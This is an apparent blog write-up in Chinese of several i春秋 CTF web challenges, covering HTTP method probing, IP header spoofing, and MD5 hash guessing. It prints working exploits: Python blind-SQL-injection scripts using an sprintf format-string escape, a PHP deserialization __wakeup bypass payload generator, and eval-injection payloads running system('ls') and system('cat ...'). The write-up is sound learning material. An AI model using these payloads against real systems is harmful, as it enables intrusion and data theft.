i春秋6

web——not found

抓包看看请求报文,在返回报文中点多了有个X-method,又根据提示说The requested URL..,猜想会不会请求方法,于是开始尝试:
1 GET 发送请求来获得服务器上的资源,请求体中不会包含请求数据,请求数据放在协议头中。另外get支持快取、缓存

、可保留书签等。幂等

2 POST 和get一样很常见,向服务器提交资源让服务器处理,比如提交表单、上传文件等,可能导致建立新的资源或者对

原有资源的修改。提交的资源放在请求体中。不支持快取。非幂等

3 HEAD 本质和get一样,但是响应中没有呈现数据,而是http的头信息,主要用来检查资源或超链接的有效性或是否可以可达、检

查网页是否被串改或更新,获取头信息等,特别适用在有限的速度和带宽下。

4 PUT 和post类似,html表单不支持,发送资源与服务器,并存储在服务器指定位置,要求客户端事先知

道该位置;比如post是在一个集合上(/province),而put是具体某一个资源上(/province/123)。所以put是安全的,

无论请求多少次,都是在123上更改,而post可能请求几次创建了几次资源。幂等

5 DELETE 请求服务器删除某资源。和put都具有破坏性,可能被防火墙拦截。如果是https协议,则无需担心。幂等

6 CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。就是把服务器作为跳板,去访问其他网页

然后把数据返回回来,连接成功后,就可以正常的get、post了。

7 OPTIONS 获取http服务器支持的http请求方法,允许客户端查看服务器的性能,比如ajax跨域时的预检等。

8 TRACE 回显服务器收到的请求,主要用于测试或诊断。一般禁用,防止被恶意攻击

在使用OPTIONS的时候,出现了locationf ?f=1.php的跳转,尝试访问,访问不了
看了一下wp 说可以扫描一下目录 看看有没有其他提示信息
扫到了一个.htaccess apache网站的配置文件,于是用这个文件包含漏洞打开试试,
img

打开这个网页试试:
img
需要伪造IP,这里说XFF 但是我用XFF伪造IP后 还是这个页面,于是查了一下 还有什么

伪造IP的方法:

获取客户端IP,很多代码都会拿 HTTP_CLIENT_IP的值,其次拿 HTTP_X_FORWARDED_FOR,最后是 REMOTE_ADDR
参考:https://segmentfault.com/q/1010000000686700/a-1020000000687155所以 这里我们就可以:

img

web——SQLI

看起来就像是SQL注入的题目,看看过滤了啥吧:

img
发现出现%会报错,看了一下wp,发现是sprintf格式化字符串逃逸漏洞
于是学习一下,感觉和之前的宽字节注入差不多呀?都是吃掉字符,但是又不太一样:

sprintf格式化字符串逃逸漏洞

在php的格式化字符串中,%后的一个字符(除了’%’)会被当作字符类型,而被吃掉,单引号’,斜杠\也不例外。

使用%1$吃掉后面的斜杠,而不引起报错
参考:https://cloud.tencent.com/developer/article/1669052

直接看payload吧:用户名正确和错误返回的内容也不一样,所以直接看脚本吧:
写脚本肯定是要先测试语句的,然后发现 后面只能用ascii码 不能像之前一样直接用字符了,由于太懒 所以就没盲注库名的长度:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string
url=r"http://9e2fcad6c50a4de1be1014554d7c980bef18347a5c9b46b2.changame.ichunqiu.com/"
s=requests.session()
headers=s.get(url).headers
db_name=''
for i in range(1,5):
for j in range(65,123):
payload=f"admin%1$'and ascii(substr(database(),{i},1))={j}#"
data={'username':payload,'password':'admin'}
# print(s.post(url,data=data).text)
# print(payload)
if "password error!" in s.post(url,data=data).text:
print("11111111")
db_name+=chr(j)
print(db_name)
img
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url=r"http://9e2fcad6c50a4de1be1014554d7c980bef18347a5c9b46b2.changame.ichunqiu.com/"
s=requests.session()
headers=s.get(url).headers
db_name=''
for i in range(1,33):
for j in range(65,126):
payload=f"admin%1$'and ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x666c6167),{i},1))={j}#"
data={'username':payload,'password':'admin'}
# print(s.post(url,data=data).text)
print(payload)
if "password error!" in s.post(url,data=data).text:
print("11111111")
db_name+=chr(j)
print(db_name)
break

刚跑出了表是flag,字段名也是flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import requests
import string
url=r"http://9e2fcad6c50a4de1be1014554d7c980bef18347a5c9b46b2.changame.ichunqiu.com/"
s=requests.session()
headers=s.get(url).headers
db_name=''
for i in range(33,50):
for j in range(45,126):
payload=f"admin%1$'and ascii(substr((select flag from flag),{i},1))={j}#"
data={'username':payload,'password':'admin'}
# print(s.post(url,data=data).text)
print(payload)
if "password error!" in s.post(url,data=data).text:
print("11111111")
db_name+=chr(j)
print(db_name)
break

需要说明的是,这里的范围一开始我是1-33后来发现还剩一半没跑出来 于是就继续叠加上去了
flag{b5b36121-86dd-a4db-aab3-86ddb749dfa1}
感觉每次做完要写脚本的题目就想去世

web——Hash

在源码中给到了这样一句话:

1
<!--$hash=md5($sign.$key);the length of $sign is 8-->

f9109d5f83921a551cf859f853afe7bb MD5解密后为kkkkkk01123
根据这句话说 sign是kkkkkk01 key是123
他说you are 123;if you are not 123,you can get the flag
所以我们把key改成456 则:kkkkkk01456 MD5加密后为:
img
打开看看:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
class Demo {
private $file = 'Gu3ss_m3_h2h2.php';

public function __construct($file) {
$this->file = $file;
}

function __destruct() {
echo @highlight_file($this->file, true);
}

function __wakeup() {
if ($this->file != 'Gu3ss_m3_h2h2.php') {
//the secret is in the f15g_1s_here.php
$this->file = 'Gu3ss_m3_h2h2.php';
}
}
}

if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:\d+:/i', $var)) {
die('stop hacking!');
} else {

@unserialize($var);
}
} else {
highlight_file("Gu3ss_m3_h2h2.php");
}
?

得到这段源码:
先看看下面的吧: get一个var值 经过解码以后,如果这个var值经过正则匹配,匹配内容为:先匹配一下一个字母o或者c匹配字符:/i是不区分大小写如果匹配到 则die没有的话就反序列化var,如果没收到值就高亮显示那个php文件
那上面的那个类有啥用?看了一下wp说是要去看CVE-2016-7124漏洞,然后就能理解了:
反序列化的过程中,如果使用了Demo类则会优先使用wakeup()函数,而这个wake_up函数又会使打开的文件变成Gu3ss_m3_h2h2.php,而我们根据提示,知道我们要打开的是f15g_1s_here.php这个文件,在destruct()函数中就会被打开,所以在这里 我们需要传入一个值,并且调用了class,使得这个值的file为f15g_1s_here.php,绕过这个wakeup()函数和正则表达式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
class Demo{
private $file='Gu3ss_m3_h2h2.php';
public function __construct($file) {
$this->file = $file;
}
}
$a = new Demo('f15g_1s_here.php');
$b = serialize($a);
$b=str_ireplace("O:4","O:+4",$b);//有的时候绕过不需要这个步骤
$b=str_ireplace(":1:",":2:",$b);
$b=base64_encode($b);
echo $b;
?>

得到输出的结果为TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==
PS:
1.一开始我是直接在burpsuit进行base64加密的,怎么都出不来页面,于是看了一下wp发现要在PHP中完成所有操作,包括绕过wakeup()函数的操作,绕过正则的操作,并且进行base64加密,如果在burpsuit里面加密结果是不一样的
2.根据之前所说的我们需要新建一个类,并调用里面的public function,使得我们输入的文件名变成$file,然后再被destruct()中的方法使用

访问新的页面得到以下代码

1
2
3
4
5
6
7
8
9
 <?php
if (isset($_GET['val'])) {
$val = $_GET['val'];
eval('$value="' . addslashes($val) . '";');
} else {
die('hahaha!');
}

?>

addslashes过滤了单引号、双引号、反斜杠、null
这里是让我们传入一个val,会使用eval执行——

eval命令执行漏洞

这里学了一种很巧妙的构造语句的方式:
payload:

1
2
?val=${eval($_GET[a])}&a=system('ls');
//让变量$value等于新变量也去执行一个eval来get一个a参数的值,而我们再以get的方式将a参数传入执行

接下来可以看到True_F1ag_i3_Here_233.php这样一个文件夹,然后打开

1
2
3
?val=${eval($_GET[a])}&a=system('cat+True_F1ag_i3_Here_233.php');
//这里有个地方1.因为空格被过滤了,所以要用+号来代替空号(这里卡了好久)
//2.明明引号也被过滤了,为啥引号还在?我还以为我记错了代码了,把引号去掉,发现是执行不了的?
img

感觉这题有好多东西,要好好积累一下,并且要记得去整理一下反序列化和序列化的漏洞以及知识!

Author

vague huang

Posted on

2021-02-22

Updated on

2021-03-18

Licensed under

Comments